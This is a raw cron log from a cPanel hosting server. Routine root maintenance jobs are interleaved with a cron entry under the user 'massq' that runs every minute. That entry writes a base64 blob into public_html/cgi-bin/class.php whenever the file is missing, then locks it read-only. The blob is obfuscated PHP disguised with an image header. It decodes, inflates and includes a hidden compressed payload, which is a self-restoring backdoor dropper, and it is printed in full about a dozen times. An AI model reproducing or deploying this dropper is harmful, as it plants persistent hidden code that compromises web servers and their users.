Sep  3 12:28:01 server CROND[21997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:29:01 server CROND[22390]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:29:01 server CROND[22391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:29:01 server CROND[22392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:30:01 server CROND[23052]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 12:30:01 server CROND[23055]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 12:30:01 server CROND[23060]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 12:30:01 server CROND[23056]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:30:01 server CROND[23057]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:30:01 server CROND[23059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:30:01 server CROND[23063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:30:01 server CROND[23061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:30:01 server CROND[23065]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  3 12:31:01 server CROND[23903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:31:01 server CROND[23904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:31:01 server CROND[23905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:32:01 server CROND[24341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:32:01 server CROND[24342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:32:01 server CROND[24343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:33:01 server CROND[24725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:33:01 server CROND[24727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:33:01 server CROND[24726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:34:01 server CROND[25108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:34:01 server CROND[25109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:34:01 server CROND[25110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:35:01 server CROND[25595]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:35:01 server CROND[25596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:35:01 server CROND[25599]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 12:35:01 server CROND[25609]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 12:35:01 server CROND[25607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:35:01 server CROND[25605]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 12:35:01 server CROND[25604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:35:01 server CROND[25603]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 12:35:01 server CROND[25616]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:36:01 server CROND[26433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:36:01 server CROND[26434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:36:01 server CROND[26435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:37:01 server CROND[26803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:37:01 server CROND[26804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:37:01 server CROND[26806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:38:01 server CROND[27193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:38:01 server CROND[27194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:38:01 server CROND[27195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:39:01 server CROND[27595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:39:01 server CROND[27596]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 12:39:01 server CROND[27598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:39:01 server CROND[27597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:40:01 server CROND[28080]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 12:40:01 server CROND[28083]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 12:40:01 server CROND[28084]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:40:01 server CROND[28089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
